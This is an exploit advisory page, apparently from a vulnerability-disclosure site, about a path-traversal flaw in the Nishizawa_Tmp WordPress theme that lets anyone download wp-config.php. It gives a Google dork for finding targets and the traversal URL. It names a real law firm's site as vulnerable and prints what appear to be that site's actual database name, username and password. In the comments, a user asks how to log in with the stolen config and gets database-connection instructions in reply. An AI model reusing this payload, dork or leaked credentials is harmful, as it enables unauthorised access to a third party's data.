WordPress 4.x Nishizawa_Tmp Themes Database Configuration File Download

2019.03.20
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-16

############################################################################################ # Exploit Title : WordPress 4.x Nishizawa_Tmp Themes Database Configuration File Download # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 20/03/2019 # Vendor Homepage : nishizawa-law.com - wordpress.org # Software Information Link : nishizawa-law.com/english/about/aboutus.html # Software Version : 4.x # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:/wp-content/themes/nishizawa_tmp/ intext:Copyright (C) 2019 Nishizawa Internatinal Law Office All Rights Reserved. # Vulnerability Type : CWE-16 [ Configuration ] CWE-200 [ Information Exposure ] CWE-23 [ Relative Path Traversal ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ############################################################################################ # Impact : *********** * WordPress 4.x Nishizawa_Tmp Themes is prone to a vulnerability that lets attackers download database config file because the application fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to download arbitrary files within the context of the web server process and obtain potentially sensitive informations. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. * The software has Relative Path Traversal vulnerability and it uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. ############################################################################################ # Vulnerable File : **************** /force-download.php # Vulnerable Parameter : ********************** ?file= # Database Configuration File Download Exploit : ******************************************** /blog/wp-content/themes/nishizawa_tmp/force-download.php?file=../../../wp-config.php /wp-content/themes/nishizawa_tmp/force-download.php?file=../../../wp-config.php Informations About MySQL Database Configuration File => **************************************************** ** The name of the database for WordPress */ define('DB_NAME', ''); /** MySQL database username */ define('DB_USER', ''); /** MySQL database password */ define('DB_PASSWORD', ''); /** MySQL hostname */ define('DB_HOST', ''); ############################################################################################ # Example Vulnerable Sites : ************************* [+] nishizawa-law.com/blog/wp-content/themes/nishizawa_tmp/force-download.php?file=../../../wp-config.php // ** MySQL Database Configuration File /** WordPress define('DB_NAME', 'z113080_blog'); /** MySQL define('DB_USER', 'z113080'); /** MySQL define('DB_PASSWORD', 'wMX4iLcV'); /** MySQL define('DB_HOST', '127.0.0.1'); define('DB_CHARSET', 'utf8'); define('DB_COLLATE', '' ############################################################################################ # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ############################################################################################


Vote for this issue:
100%
0%

Comment it here.
Simsimi | Date: 2019-03-20 20:51 CET+1
how to login with use the wp-config?
Answer for Simsimi | Date: 2019-03-21 18:34 CET+1
Hello SimSimi.The wp-config.php file is an essential part of a WordPress site. It’s the bridge between the file system of a site and database. Navicat for MySQL is the ideal solution for MySQL/MariaDB administration and development. It is a single application that allows you to connect to MySQL and MariaDB databases simultaneously. WordPress stores your database information in the wp-config.php file. Without this information your WordPress website will not work, and you will get the ‘error establishing database connection‘ error. wp-config.php is one of the core WordPress files. It contains information about the database, including the name, host (typically localhost), username, and password. This information allows WordPress to communicate with the database to store and retrieve data. // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'database_name_here'); /** MySQL database username */ define('DB_USER', 'username_here'); /** MySQL database password */ define('DB_PASSWORD', 'password_here'); /** MySQL hostname */ define('DB_HOST', 'localhost'); How to connect to database using NaviCat MySQL client Remote MySQL connection is disabled on our Shared servers due to security reasons, but you can easily set up SSH tunnel between your PC and our server using SSH-tunneling with the MySQL port (3306) forwarding. To connect to your MySQL database with Navicat software you should do the following: 1. Enable SSH access for your account using the Manage Shell cPanel plugin. https://www.namecheap.com/support/knowledgebase/article.aspx/10040/2210/how-to-use-manage-shell-in-cpanel https://namecheap.simplekb.com//SiteContents/2-7C22D5236A4543EB827F3BD8936E153E/media/navicat_1.png https://namecheap.simplekb.com//SiteContents/2-7C22D5236A4543EB827F3BD8936E153E/media/navicat_2.2.png https://namecheap.simplekb.com//SiteContents/2-7C22D5236A4543EB827F3BD8936E153E/media/navicat_3.png https://namecheap.simplekb.com//SiteContents/2-7C22D5236A4543EB827F3BD8936E153E/media/navicat_4.2.png Example Explanation : 2. Open your Navicat application >> Connection >> MariaDB: 3.In the General tab, fill out the fields as follows: Host Name/IP Address: 127.0.0.1 Port: 3306 User Name: your database created user Password: your database user password 3. Then, navigate to the SSH tab, check the box Use SSH tunnel and fill out the fields as shown below: Host Name/IP address: your server hostname Port: 21098 User Name: your cPanel username Authentication Method: Password Password: your cPanel password 4. Once done, press OK to save the connection settings. You will see your new connection on the left. Double-click it to connect to your database: That's it. ScreenShot for Navicat => https://www.navicat.com/images/02.Product_01_MySQL_Windows_01_Mainscreen.png Connect with MySQL Database Management Softwares like Navicat => https://www.navicat.com/en/products/navicat-for-mysql This topic so long for explanation. So I give the shortest explanation for you. There are some videos and topics on Youtube [ it gives you some ideas ] => You can check them => https://www.youtube.com/watch?v=h9Y-TPoUAO8 https://www.youtube.com/watch?v=UwlaZdGmzKw https://www.youtube.com/watch?v=Nj8Yr0I8lKI https://www.youtube.com/watch?v=59DOLUnoGbQ https://www.youtube.com/watch?v=6x-GBcKr5Eo https://www.youtube.com/watch?v=WtvJB_K6bq4 https://www.youtube.com/watch?v=QIEFPmxrHsQ https://www.youtube.com/watch?v=ZJkoPN3LwJ8 https://www.youtube.com/watch?v=-d8-TBdFN9U https://docs.bitnami.com/bch/apps/wordpress/administration/connect-remotely-navicat/ https://www.inmotionhosting.com/support/website/database-connections/connect-database-navicat https://www.namecheap.com/support/knowledgebase/article.aspx/9329/2180/how-to-connect-to-database-using-navicat-mysql-client That's it. If you face a problem - let me/us know.

Copyright 2025, cxsecurity.com

 

Back to Top